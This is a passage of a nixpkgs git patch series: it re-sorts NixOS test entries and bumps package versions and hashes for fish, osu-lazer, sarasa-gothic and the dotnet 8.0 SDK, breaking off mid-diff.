   roundcube = handleTest ./roundcube.nix { };
   routinator = handleTest ./routinator.nix { };
-  rosenpass = handleTest ./rosenpass.nix { };
   rshim = handleTest ./rshim.nix { };
   rspamd = handleTest ./rspamd.nix { };
   rspamd-trainer = handleTest ./rspamd-trainer.nix { };
@@ -1216,12 +1217,12 @@ in
   send = runTest ./send.nix;
   service-runner = handleTest ./service-runner.nix { };
   servo = runTest ./servo.nix;
-  shadps4 = runTest ./shadps4.nix;
   sftpgo = runTest ./sftpgo.nix;
   sfxr-qt = handleTest ./sfxr-qt.nix { };
   sgt-puzzles = handleTest ./sgt-puzzles.nix { };
   shadow = handleTest ./shadow.nix { };
   shadowsocks = handleTest ./shadowsocks { };
+  shadps4 = runTest ./shadps4.nix;
   shattered-pixel-dungeon = handleTest ./shattered-pixel-dungeon.nix { };
   shiori = handleTest ./shiori.nix { };
   signal-desktop = runTest ./signal-desktop.nix;
@@ -1230,11 +1231,11 @@ in
   sing-box = handleTest ./sing-box.nix { };
   slimserver = handleTest ./slimserver.nix { };
   slurm = handleTest ./slurm.nix { };
-  snmpd = handleTest ./snmpd.nix { };
   smokeping = handleTest ./smokeping.nix { };
   snapcast = runTest ./snapcast.nix;
   snapper = handleTest ./snapper.nix { };
   snipe-it = runTest ./web-apps/snipe-it.nix;
+  snmpd = handleTest ./snmpd.nix { };
   soapui = handleTest ./soapui.nix { };
   soft-serve = handleTest ./soft-serve.nix { };
   sogo = handleTest ./sogo.nix { };
@@ -1248,14 +1249,15 @@ in
   spiped = runTest ./spiped.nix;
   sqlite3-to-mysql = handleTest ./sqlite3-to-mysql.nix { };
   squid = handleTest ./squid.nix { };
-  sslh = handleTest ./sslh.nix { };
   ssh-agent-auth = handleTest ./ssh-agent-auth.nix { };
   ssh-audit = handleTest ./ssh-audit.nix { };
+  sslh = handleTest ./sslh.nix { };
   sssd = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./sssd.nix { };
   sssd-ldap = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./sssd-ldap.nix { };
   stalwart-mail = handleTest ./stalwart-mail.nix { };
   stargazer = runTest ./web-servers/stargazer.nix;
   starship = runTest ./starship.nix;
+  startx = import ./startx.nix { inherit pkgs runTest; };
   stash = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./stash.nix { };
   static-web-server = runTest ./web-servers/static-web-server.nix;
   step-ca = handleTestOn [ "x86_64-linux" ] ./step-ca.nix { };
@@ -1285,10 +1287,10 @@ in
   sx = handleTest ./sx.nix { };
   sympa = handleTest ./sympa.nix { };
   syncthing = handleTest ./syncthing.nix { };
-  syncthing-no-settings = handleTest ./syncthing-no-settings.nix { };
+  syncthing-folders = runTest ./syncthing-folders.nix;
   syncthing-init = handleTest ./syncthing-init.nix { };
   syncthing-many-devices = handleTest ./syncthing-many-devices.nix { };
-  syncthing-folders = runTest ./syncthing-folders.nix;
+  syncthing-no-settings = handleTest ./syncthing-no-settings.nix { };
   syncthing-relay = handleTest ./syncthing-relay.nix { };
   sysinit-reactivation = runTest ./sysinit-reactivation.nix;
   systemd = handleTest ./systemd.nix { };
@@ -1298,37 +1300,39 @@ in
   systemd-bpf = handleTest ./systemd-bpf.nix { };
   systemd-confinement = handleTest ./systemd-confinement { };
   systemd-coredump = handleTest ./systemd-coredump.nix { };
-  systemd-cryptenroll = handleTest ./systemd-cryptenroll.nix { };
   systemd-credentials-tpm2 = handleTest ./systemd-credentials-tpm2.nix { };
+  systemd-cryptenroll = handleTest ./systemd-cryptenroll.nix { };
   systemd-escaping = handleTest ./systemd-escaping.nix { };
+  systemd-homed = handleTest ./systemd-homed.nix { };
   systemd-initrd-bridge = handleTest ./systemd-initrd-bridge.nix { };
   systemd-initrd-btrfs-raid = handleTest ./systemd-initrd-btrfs-raid.nix { };
   systemd-initrd-credentials = handleTest ./systemd-initrd-credentials.nix { };
-  systemd-initrd-luks-fido2 = handleTest ./systemd-initrd-luks-fido2.nix { };
-  systemd-initrd-luks-keyfile = handleTest ./systemd-initrd-luks-keyfile.nix { };
   systemd-initrd-luks-empty-passphrase = handleTest ./initrd-luks-empty-passphrase.nix {
     systemdStage1 = true;
   };
+  systemd-initrd-luks-fido2 = handleTest ./systemd-initrd-luks-fido2.nix { };
+  systemd-initrd-luks-keyfile = handleTest ./systemd-initrd-luks-keyfile.nix { };
   systemd-initrd-luks-password = handleTest ./systemd-initrd-luks-password.nix { };
   systemd-initrd-luks-tpm2 = handleTest ./systemd-initrd-luks-tpm2.nix { };
   systemd-initrd-luks-unl0kr = handleTest ./systemd-initrd-luks-unl0kr.nix { };
   systemd-initrd-modprobe = handleTest ./systemd-initrd-modprobe.nix { };
-  systemd-initrd-shutdown = handleTest ./systemd-shutdown.nix { systemdStage1 = true; };
-  systemd-initrd-simple = runTest ./systemd-initrd-simple.nix;
-  systemd-initrd-swraid = handleTest ./systemd-initrd-swraid.nix { };
-  systemd-initrd-vconsole = handleTest ./systemd-initrd-vconsole.nix { };
   systemd-initrd-networkd = handleTest ./systemd-initrd-networkd.nix { };
-  systemd-initrd-networkd-ssh = handleTest ./systemd-initrd-networkd-ssh.nix { };
   systemd-initrd-networkd-openvpn = handleTestOn [
     "x86_64-linux"
     "i686-linux"
   ] ./initrd-network-openvpn { systemdStage1 = true; };
+  systemd-initrd-networkd-ssh = handleTest ./systemd-initrd-networkd-ssh.nix { };
+  systemd-initrd-shutdown = handleTest ./systemd-shutdown.nix { systemdStage1 = true; };
+  systemd-initrd-simple = runTest ./systemd-initrd-simple.nix;
+  systemd-initrd-swraid = handleTest ./systemd-initrd-swraid.nix { };
+  systemd-initrd-vconsole = handleTest ./systemd-initrd-vconsole.nix { };
   systemd-initrd-vlan = handleTest ./systemd-initrd-vlan.nix { };
   systemd-journal = handleTest ./systemd-journal.nix { };
   systemd-journal-gateway = handleTest ./systemd-journal-gateway.nix { };
   systemd-journal-upload = handleTest ./systemd-journal-upload.nix { };
   systemd-lock-handler = runTestOn [ "aarch64-linux" "x86_64-linux" ] ./systemd-lock-handler.nix;
   systemd-machinectl = handleTest ./systemd-machinectl.nix { };
+  systemd-misc = handleTest ./systemd-misc.nix { };
   systemd-networkd = handleTest ./systemd-networkd.nix { };
   systemd-networkd-bridge = handleTest ./systemd-networkd-bridge.nix { };
   systemd-networkd-dhcpserver = handleTest ./systemd-networkd-dhcpserver.nix { };
@@ -1346,36 +1350,33 @@ in
   systemd-portabled = handleTest ./systemd-portabled.nix { };
   systemd-repart = handleTest ./systemd-repart.nix { };
   systemd-resolved = handleTest ./systemd-resolved.nix { };
-  systemd-ssh-proxy = runTest ./systemd-ssh-proxy.nix;
   systemd-shutdown = handleTest ./systemd-shutdown.nix { };
+  systemd-ssh-proxy = runTest ./systemd-ssh-proxy.nix;
   systemd-sysupdate = runTest ./systemd-sysupdate.nix;
-  systemd-sysusers-mutable = runTest ./systemd-sysusers-mutable.nix;
   systemd-sysusers-immutable = runTest ./systemd-sysusers-immutable.nix;
+  systemd-sysusers-mutable = runTest ./systemd-sysusers-mutable.nix;
   systemd-sysusers-password-option-override-ordering = runTest ./systemd-sysusers-password-option-override-ordering.nix;
   systemd-timesyncd = handleTest ./systemd-timesyncd.nix { };
   systemd-timesyncd-nscd-dnssec = handleTest ./systemd-timesyncd-nscd-dnssec.nix { };
   systemd-user-linger = handleTest ./systemd-user-linger.nix { };
   systemd-user-tmpfiles-rules = handleTest ./systemd-user-tmpfiles-rules.nix { };
-  systemd-misc = handleTest ./systemd-misc.nix { };
   systemd-userdbd = handleTest ./systemd-userdbd.nix { };
-  systemd-homed = handleTest ./systemd-homed.nix { };
   systemtap = handleTest ./systemtap.nix { };
-  startx = import ./startx.nix { inherit pkgs runTest; };
   taler = handleTest ./taler { };
   tandoor-recipes = handleTest ./tandoor-recipes.nix { };
   tandoor-recipes-script-name = handleTest ./tandoor-recipes-script-name.nix { };
   tang = handleTest ./tang.nix { };
-  taskserver = handleTest ./taskserver.nix { };
   taskchampion-sync-server = handleTest ./taskchampion-sync-server.nix { };
+  taskserver = handleTest ./taskserver.nix { };
   tayga = handleTest ./tayga.nix { };
   technitium-dns-server = handleTest ./technitium-dns-server.nix { };
   teeworlds = handleTest ./teeworlds.nix { };
   telegraf = runTest ./telegraf.nix;
   teleport = handleTest ./teleport.nix { };
   teleports = runTest ./teleports.nix;
-  thelounge = handleTest ./thelounge.nix { };
   terminal-emulators = handleTest ./terminal-emulators.nix { };
   thanos = handleTest ./thanos.nix { };
+  thelounge = handleTest ./thelounge.nix { };
   tiddlywiki = handleTest ./tiddlywiki.nix { };
   tigervnc = handleTest ./tigervnc.nix { };
   tika = runTest ./tika.nix;
@@ -1385,25 +1386,24 @@ in
   tinydns = handleTest ./tinydns.nix { };
   tinyproxy = handleTest ./tinyproxy.nix { };
   tinywl = handleTest ./tinywl.nix { };
+  tlsrpt = runTest ./tlsrpt.nix;
   tmate-ssh-server = handleTest ./tmate-ssh-server.nix { };
   tomcat = handleTest ./tomcat.nix { };
   tor = handleTest ./tor.nix { };
-  tlsrpt = runTest ./tlsrpt.nix;
   tpm-ek = handleTest ./tpm-ek { };
+  # tracee requires bpf
+  tracee = handleTestOn [ "x86_64-linux" ] ./tracee.nix { };
   traefik = runTestOn [ "aarch64-linux" "x86_64-linux" ] ./traefik.nix;
   trafficserver = handleTest ./trafficserver.nix { };
   transfer-sh = handleTest ./transfer-sh.nix { };
   transmission_3 = handleTest ./transmission.nix { transmission = pkgs.transmission_3; };
   transmission_4 = handleTest ./transmission.nix { transmission = pkgs.transmission_4; };
-  # tracee requires bpf
-  tracee = handleTestOn [ "x86_64-linux" ] ./tracee.nix { };
   trezord = handleTest ./trezord.nix { };
   trickster = handleTest ./trickster.nix { };
   trilium-server = handleTestOn [ "x86_64-linux" ] ./trilium-server.nix { };
   tsm-client-gui = handleTest ./tsm-client-gui.nix { };
-  ttyd = handleTest ./web-servers/ttyd.nix { };
   tt-rss = handleTest ./web-apps/tt-rss.nix { };
-  txredisapi = handleTest ./txredisapi.nix { };
+  ttyd = handleTest ./web-servers/ttyd.nix { };
   tuned = runTest ./tuned.nix;
   tuptime = handleTest ./tuptime.nix { };
   turbovnc-headless-server = handleTest ./turbovnc-headless-server.nix { };
@@ -1411,6 +1411,7 @@ in
   tusd = runTest ./tusd/default.nix;
   tuxguitar = runTest ./tuxguitar.nix;
   twingate = runTest ./twingate.nix;
+  txredisapi = handleTest ./txredisapi.nix { };
   typesense = handleTest ./typesense.nix { };
   tzupdate = runTest ./tzupdate.nix;
   ucarp = handleTest ./ucarp.nix { };
@@ -1419,23 +1420,23 @@ in
   umurmur = handleTest ./umurmur.nix { };
   unbound = handleTest ./unbound.nix { };
   unifi = runTest ./unifi.nix;
-  unit-php = runTest ./web-servers/unit-php.nix;
   unit-perl = handleTest ./web-servers/unit-perl.nix { };
+  unit-php = runTest ./web-servers/unit-php.nix;
   upnp.iptables = handleTest ./upnp.nix { useNftables = false; };
   upnp.nftables = handleTest ./upnp.nix { useNftables = true; };
   uptermd = handleTest ./uptermd.nix { };
   uptime-kuma = handleTest ./uptime-kuma.nix { };
   urn-timer = handleTest ./urn-timer.nix { };
   usbguard = handleTest ./usbguard.nix { };
-  userborn = runTest ./userborn.nix;
-  userborn-mutable-users = runTest ./userborn-mutable-users.nix;
-  userborn-immutable-users = runTest ./userborn-immutable-users.nix;
-  userborn-mutable-etc = runTest ./userborn-mutable-etc.nix;
-  userborn-immutable-etc = runTest ./userborn-immutable-etc.nix;
   user-activation-scripts = handleTest ./user-activation-scripts.nix { };
   user-enable-option = runTest ./user-enable-option.nix;
   user-expiry = runTest ./user-expiry.nix;
   user-home-mode = handleTest ./user-home-mode.nix { };
+  userborn = runTest ./userborn.nix;
+  userborn-immutable-etc = runTest ./userborn-immutable-etc.nix;
+  userborn-immutable-users = runTest ./userborn-immutable-users.nix;
+  userborn-mutable-etc = runTest ./userborn-mutable-etc.nix;
+  userborn-mutable-users = runTest ./userborn-mutable-users.nix;
   ustreamer = handleTest ./ustreamer.nix { };
   uwsgi = handleTest ./uwsgi.nix { };
   v2ray = handleTest ./v2ray.nix { };
@@ -1471,18 +1472,18 @@ in
   watchdogd = handleTest ./watchdogd.nix { };
   webhook = runTest ./webhook.nix;
   weblate = handleTest ./web-apps/weblate.nix { };
+  wg-access-server = handleTest ./wg-access-server.nix { };
   whisparr = handleTest ./whisparr.nix { };
   whoami = runTest ./whoami.nix;
   whoogle-search = handleTest ./whoogle-search.nix { };
   wiki-js = runTest ./wiki-js.nix;
   wine = handleTest ./wine.nix { };
   wireguard = handleTest ./wireguard { };
-  wg-access-server = handleTest ./wg-access-server.nix { };
   without-nix = handleTest ./without-nix.nix { };
   wmderland = handleTest ./wmderland.nix { };
+  wordpress = runTest ./wordpress.nix;
   workout-tracker = handleTest ./workout-tracker.nix { };
   wpa_supplicant = import ./wpa_supplicant.nix { inherit pkgs runTest; };
-  wordpress = runTest ./wordpress.nix;
   wrappers = handleTest ./wrappers.nix { };
   writefreely = import ./web-apps/writefreely.nix { inherit pkgs runTest; };
   wstunnel = runTest ./wstunnel.nix;
@@ -1524,4 +1525,5 @@ in
   zsh-history = runTest ./zsh-history.nix;
   zwave-js = runTest ./zwave-js.nix;
   zwave-js-ui = runTest ./zwave-js-ui.nix;
+  # keep-sorted end
 }

From a2741f7b82624bd1a4319eeb729da50087a453c7 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Fri, 12 Sep 2025 14:43:06 +0200
Subject: [PATCH 4492/4511] fish: 4.0.2 -> 4.0.6

Changelog: https://github.com/fish-shell/fish-shell/releases/tag/4.0.6
Diff: https://github.com/fish-shell/fish-shell/compare/4.0.2...4.0.6
(cherry picked from commit 0e3b6286a7dbefb2d0195dcbd1e1c64fc6e2686b)
---
 pkgs/by-name/fi/fish/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fi/fish/package.nix b/pkgs/by-name/fi/fish/package.nix
index 949abee00fa2..8fcd76fcd12b 100644
--- a/pkgs/by-name/fi/fish/package.nix
+++ b/pkgs/by-name/fi/fish/package.nix
@@ -152,13 +152,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "fish";
-  version = "4.0.2";
+  version = "4.0.6";
 
   src = fetchFromGitHub {
     owner = "fish-shell";
     repo = "fish-shell";
     tag = finalAttrs.version;
-    hash = "sha256-UpoZPipXZbzLWCOXzDjfyTDrsKyXGbh3Rkwj5IeWeY4=";
+    hash = "sha256-qkPKpZvTVDEV7A/xX2bYgTf+o24mswRDr5UBXOsV5jQ=";
   };
 
   env = {
@@ -169,7 +169,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) src patches;
-    hash = "sha256-FkJB33vVVz7Kh23kfmjQDn61X2VkKLG9mUt8f3TrCHg=";
+    hash = "sha256-myDme0aHEJPUDIcIN3j6i93oPrQ0Li4rIdepBp/C/R4=";
   };
 
   patches = [

From ad539dc007f2d808e2aef733ce90554cfb4a91ad Mon Sep 17 00:00:00 2001
From: r-vdp <ramses@well-founded.dev>
Date: Sat, 13 Sep 2025 12:32:23 +0200
Subject: [PATCH 4493/4511] fish: disable test that fails on x86_64-darwin

(cherry picked from commit e7c273983294f979d91f1ea99d4be38fb3d3c0f9)
---
 pkgs/by-name/fi/fish/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/fi/fish/package.nix b/pkgs/by-name/fi/fish/package.nix
index 8fcd76fcd12b..fdcfe931b81c 100644
--- a/pkgs/by-name/fi/fish/package.nix
+++ b/pkgs/by-name/fi/fish/package.nix
@@ -234,6 +234,7 @@ stdenv.mkDerivation (finalAttrs: {
     rm tests/pexpects/job_summary.py
     rm tests/pexpects/signals.py
     rm tests/pexpects/fg.py
+    rm tests/checks/fish_exit.fish
   ''
   + lib.optionalString (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isDarwin) ''
     # This test seems to consistently fail on aarch64 and darwin

From 3f82ec5d510d6b954de3d558fa5d36a4d5177f88 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Sat, 13 Sep 2025 08:13:10 +0000
Subject: [PATCH 4494/4511] osu-lazer: 2025.816.0 -> 2025.912.0

(cherry picked from commit cd66e07aa1f65d81db6da05ed3e627f2f90a2e4c)
---
 pkgs/by-name/os/osu-lazer/deps.json   | 68 ++++++---------------------
 pkgs/by-name/os/osu-lazer/package.nix |  4 +-
 2 files changed, 16 insertions(+), 56 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer/deps.json b/pkgs/by-name/os/osu-lazer/deps.json
index 12f99637b891..dc23860559ae 100644
--- a/pkgs/by-name/os/osu-lazer/deps.json
+++ b/pkgs/by-name/os/osu-lazer/deps.json
@@ -404,11 +404,6 @@
     "version": "2.0.161401",
     "hash": "sha256-ke9rovup7UFVz2T6HYtHawwrs/XARLDQOwCysC2qDAs="
   },
-  {
-    "pname": "Microsoft.DotNet.PlatformAbstractions",
-    "version": "2.0.3",
-    "hash": "sha256-qRoDjAl3I8hYH6tQw06UVn5cf55avtTCjRDUzjUJAgg="
-  },
   {
     "pname": "Microsoft.Extensions.Configuration.Abstractions",
     "version": "9.0.2",
@@ -439,11 +434,6 @@
     "version": "9.0.2",
     "hash": "sha256-WoTLgw/OlXhgN54Szip0Zpne7i/YTXwZ1ZLCPcHV6QM="
   },
-  {
-    "pname": "Microsoft.Extensions.DependencyModel",
-    "version": "2.0.3",
-    "hash": "sha256-itpwRYzmJZUt2kYJrrcq2IOwqqOskdbE3HMmD8GV/jY="
-  },
   {
     "pname": "Microsoft.Extensions.Features",
     "version": "9.0.2",
@@ -544,11 +534,6 @@
     "version": "2.21.0",
     "hash": "sha256-LZdDJkwQSVBLJfeE3SEckpi+EZcHIccHlhHoUxZ5FqE="
   },
-  {
-    "pname": "NativeLibraryLoader",
-    "version": "1.0.13",
-    "hash": "sha256-ENubvwbFy0ZB8I88xHTRkkjG8lrQ98jQ33IQoe4rcaM="
-  },
   {
     "pname": "NETStandard.Library",
     "version": "1.6.1",
@@ -641,8 +626,8 @@
   },
   {
     "pname": "ppy.osu.Framework",
-    "version": "2025.808.0",
-    "hash": "sha256-XmetdqG3z66uhdfvY4iEmDAK8Zh2uXPk5Dm25raeYw4="
+    "version": "2025.908.0",
+    "hash": "sha256-ywGPEtZqgeqgG7LJ459FfRy+JtCw9zChuYUHHY4QIcU="
   },
   {
     "pname": "ppy.osu.Framework.NativeLibs",
@@ -656,8 +641,8 @@
   },
   {
     "pname": "ppy.osu.Game.Resources",
-    "version": "2025.815.0",
-    "hash": "sha256-DD9yPAmCJrCj/uix6HbRlbQZfyvLyIrKmLP4fZed5fo="
+    "version": "2025.911.0",
+    "hash": "sha256-N7CPME+A+tPpojOe7HN7Vz49VwtcmRKCJK4IIdY0kFs="
   },
   {
     "pname": "ppy.osuTK.NS20",
@@ -671,28 +656,28 @@
   },
   {
     "pname": "ppy.SDL3-CS",
-    "version": "2025.220.0",
-    "hash": "sha256-A43tJzQ779wQ76wkCxvZ39w3KapZwhUpKe1P4RcOvCQ="
+    "version": "2025.828.0",
+    "hash": "sha256-3+ShJIv4TJuzPAIF7uiwOXVyb+5EpCAuIz1Ff0dPdhA="
   },
   {
     "pname": "ppy.Veldrid",
-    "version": "4.9.66-g086790861c",
-    "hash": "sha256-jnFiRUk+8EV5QMnormygSwm74U949FSqPKYNfMrkI54="
+    "version": "4.9.69-ga405fe8484",
+    "hash": "sha256-aFn5I5HofCfUPE9yf/uuKzYZgPEDA+40QxzCV5CPsfM="
   },
   {
     "pname": "ppy.Veldrid.MetalBindings",
-    "version": "4.9.66-g086790861c",
-    "hash": "sha256-opJ2dRHQP6HPYHw7hM5iWgQeP38RMINv2dJmSF7PptA="
+    "version": "4.9.69-ga405fe8484",
+    "hash": "sha256-PLwLXeFCje6Qj7Q1afeIFQJRuRPt2pKnrSqUeMOOtPU="
   },
   {
     "pname": "ppy.Veldrid.OpenGLBindings",
-    "version": "4.9.66-g086790861c",
-    "hash": "sha256-4zrLJpQVA9BiQP2XeKgW9L/1z3pazDCH46elQ02Un5E="
+    "version": "4.9.69-ga405fe8484",
+    "hash": "sha256-l8XNsxVtLrzcq2R8TIjpLu+MNGglxjyk+Pxzo7lzvuY="
   },
   {
     "pname": "ppy.Veldrid.SPIRV",
-    "version": "1.0.15-gb66ebf81d2",
-    "hash": "sha256-+0dUQTBEU0pPjRhZXvBkWTUpmMFfM9E6FWWT6yHS/9I="
+    "version": "1.0.15-g5911265ec3",
+    "hash": "sha256-XiA2gCiQzjsErPOF4TrbQBhnahFXHIVlsetlEOpPTeI="
   },
   {
     "pname": "ppy.Vk",
@@ -824,11 +809,6 @@
     "version": "4.3.2",
     "hash": "sha256-g9Uiikrl+M40hYe0JMlGHe/lrR0+nN05YF64wzLmBBA="
   },
-  {
-    "pname": "runtime.native.System",
-    "version": "4.0.0",
-    "hash": "sha256-bmaM0ovT4X4aqDJOR255Yda/u3fmHZskU++lMnsy894="
-  },
   {
     "pname": "runtime.native.System",
     "version": "4.3.0",
@@ -1034,11 +1014,6 @@
     "version": "1.1.0",
     "hash": "sha256-oP64y/hYgoYo+heDFzmt6sWukTF0lDDFkB16eyoQfHE="
   },
-  {
-    "pname": "System.AppContext",
-    "version": "4.1.0",
-    "hash": "sha256-v6YfyfrKmhww+EYHUq6cwYUMj00MQ6SOfJtcGVRlYzs="
-  },
   {
     "pname": "System.AppContext",
     "version": "4.3.0",
@@ -1119,11 +1094,6 @@
     "version": "4.3.0",
     "hash": "sha256-hCETZpHHGVhPYvb4C0fh4zs+8zv4GPoixagkLZjpa9Q="
   },
-  {
-    "pname": "System.Dynamic.Runtime",
-    "version": "4.0.11",
-    "hash": "sha256-qWqFVxuXioesVftv2RVJZOnmojUvRjb7cS3Oh3oTit4="
-  },
   {
     "pname": "System.Dynamic.Runtime",
     "version": "4.3.0",
@@ -1169,11 +1139,6 @@
     "version": "4.3.0",
     "hash": "sha256-WQl+JgWs+GaRMeiahTFUbrhlXIHapzcpTFXbRvAtvvs="
   },
-  {
-    "pname": "System.IO.FileSystem",
-    "version": "4.0.1",
-    "hash": "sha256-4VKXFgcGYCTWVXjAlniAVq0dO3o5s8KHylg2wg2/7k0="
-  },
   {
     "pname": "System.IO.FileSystem",
     "version": "4.3.0",
@@ -1429,11 +1394,6 @@
     "version": "4.3.0",
     "hash": "sha256-8sDH+WUJfCR+7e4nfpftj/+lstEiZixWUBueR2zmHgI="
   },
-  {
-    "pname": "System.Runtime.InteropServices.RuntimeInformation",
-    "version": "4.0.0",
-    "hash": "sha256-5j53amb76A3SPiE3B0llT2XPx058+CgE7OXL4bLalT4="
-  },
   {
     "pname": "System.Runtime.InteropServices.RuntimeInformation",
     "version": "4.3.0",
diff --git a/pkgs/by-name/os/osu-lazer/package.nix b/pkgs/by-name/os/osu-lazer/package.nix
index 7a01a58959df..770591ef0b44 100644
--- a/pkgs/by-name/os/osu-lazer/package.nix
+++ b/pkgs/by-name/os/osu-lazer/package.nix
@@ -22,13 +22,13 @@
 
 buildDotnetModule rec {
   pname = "osu-lazer";
-  version = "2025.816.0";
+  version = "2025.912.0";
 
   src = fetchFromGitHub {
     owner = "ppy";
     repo = "osu";
     tag = "${version}-lazer";
-    hash = "sha256-ScCOqo0f8Ms0nai9zCIEkAKWySB7uZiU4lk2itQWLig=";
+    hash = "sha256-OpFiqGldVK0GpIlNopRhbFzb6tOvKnLr/zQeQvWPgmA=";
   };
 
   projectFile = "osu.Desktop/osu.Desktop.csproj";

From 9bbd0e570e67ea428aa0735e0846b526718d587e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Sat, 13 Sep 2025 08:21:47 +0000
Subject: [PATCH 4495/4511] osu-lazer-bin: 2025.816.0 -> 2025.912.0

(cherry picked from commit ba303728be03b5363a81c5ffcb2c8ddbd6100f2b)
---
 pkgs/by-name/os/osu-lazer-bin/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/package.nix b/pkgs/by-name/os/osu-lazer-bin/package.nix
index 070d4ace5738..7d8679abbe46 100644
--- a/pkgs/by-name/os/osu-lazer-bin/package.nix
+++ b/pkgs/by-name/os/osu-lazer-bin/package.nix
@@ -10,23 +10,23 @@
 
 let
   pname = "osu-lazer-bin";
-  version = "2025.816.0";
+  version = "2025.912.0";
 
   src =
     {
       aarch64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.app.Apple.Silicon.zip";
-        hash = "sha256-5HMjI0+rb7FKwTYsLv2ltFyXL0DQT83/t2i4OpiwwIY=";
+        hash = "sha256-wGThpn4Yb3t02MYrn1Sg8S48ak6n09T1vPSpF5zEx7E=";
         stripRoot = false;
       };
       x86_64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.app.Intel.zip";
-        hash = "sha256-WqYY3FYHgURk1NKiVcF81GAKBYNPf1M/ZY/3/9XibzI=";
+        hash = "sha256-OWqCqAQx1e6TsVdvOezF3gvZ06tXFIEfNMb5LA4mf5s=";
         stripRoot = false;
       };
       x86_64-linux = fetchurl {
         url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.AppImage";
-        hash = "sha256-mOihQ8mtHEiq0FElkJiZl0mhBqPi8CoGowN358Jc72A=";
+        hash = "sha256-73UY3RJp0pFfbxRWX8qSnLeoZB/BRGtucmQClJP7Qwg=";
       };
     }
     .${stdenvNoCC.system} or (throw "osu-lazer-bin: ${stdenvNoCC.system} is unsupported.");

From 20af82149ec6e6eec588e448a056568b8f16c660 Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Sat, 13 Sep 2025 06:10:19 -0700
Subject: [PATCH 4496/4511] tests.cross.sanity: fix eval

`qt5` is not long for the world.

(cherry picked from commit 88b9a7d3b6640c2ae2befe561a905d13eebc19ab)
---
 pkgs/test/cross/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/test/cross/default.nix b/pkgs/test/cross/default.nix
index c1c9737eddf1..b4c76c6b798f 100644
--- a/pkgs/test/cross/default.nix
+++ b/pkgs/test/cross/default.nix
@@ -193,7 +193,7 @@ let
     pkgs.pkgsCross.mips64el-linux-gnuabi64.stdenv
     pkgs.pkgsCross.mips64el-linux-gnuabin32.stdenv
     pkgs.pkgsCross.mingwW64.stdenv
-    # Uses the expression that is used by the most cross-compil_ed_ GHCs
+    # Uses the expression that is used by the most cross-compiled GHCs
     pkgs.pkgsCross.riscv64.haskell.compiler.native-bignum.ghc948
 
   ]
@@ -204,7 +204,7 @@ let
     pkgs.pkgsMusl.pkgsCross.gnu64.hello
 
     # Two web browsers -- exercises almost the entire packageset
-    pkgs.pkgsCross.aarch64-multiplatform.qutebrowser-qt5
+    pkgs.pkgsCross.aarch64-multiplatform.qutebrowser
     pkgs.pkgsCross.aarch64-multiplatform.firefox
 
     # Uses pkgsCross.riscv64-embedded; see https://github.com/NixOS/nixpkgs/issues/267859

From 8c1e80927b9ca5d2af7dd57220b253e30ed54610 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 28 Jun 2025 18:58:55 +0000
Subject: [PATCH 4497/4511] sarasa-gothic: 1.0.30 -> 1.0.31

(cherry picked from commit d232ba150756f7b17a6019f456100dc31126b903)
---
 pkgs/by-name/sa/sarasa-gothic/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sa/sarasa-gothic/package.nix b/pkgs/by-name/sa/sarasa-gothic/package.nix
index 12a14748d315..bde9f2cb2df4 100644
--- a/pkgs/by-name/sa/sarasa-gothic/package.nix
+++ b/pkgs/by-name/sa/sarasa-gothic/package.nix
@@ -7,13 +7,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "sarasa-gothic";
-  version = "1.0.30";
+  version = "1.0.31";
 
   src = fetchurl {
     # Use the 'ttc' files here for a smaller closure size.
     # (Using 'ttf' files gives a closure size about 15x larger, as of November 2021.)
     url = "https://github.com/be5invis/Sarasa-Gothic/releases/download/v${finalAttrs.version}/Sarasa-TTC-${finalAttrs.version}.zip";
-    hash = "sha256-or/XzPJhWe7F2sMsWxaIynXALnMhzKQeezTt16tzqoY=";
+    hash = "sha256-6jVbe37lbpPmNzyiBb6fUfru3EZ71Eco9BuXNzgdQD8=";
   };
 
   sourceRoot = ".";

From 7d082377c97e75a8487c5aed6afd550671efacde Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 10 Sep 2025 01:08:22 +0000
Subject: [PATCH 4498/4511] dotnetCorePackages.sdk_8_0-bin: 8.0.413 -> 8.0.414

(cherry picked from commit 58cdbb2bd00b8d9ee6641a1888076cb04ef2e307)
---
 .../compilers/dotnet/versions/8.0.nix         | 620 +++++++++---------
 1 file changed, 310 insertions(+), 310 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/8.0.nix b/pkgs/development/compilers/dotnet/versions/8.0.nix
index 8210e9f248ca..f36afa68d6c9 100644
--- a/pkgs/development/compilers/dotnet/versions/8.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/8.0.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.19";
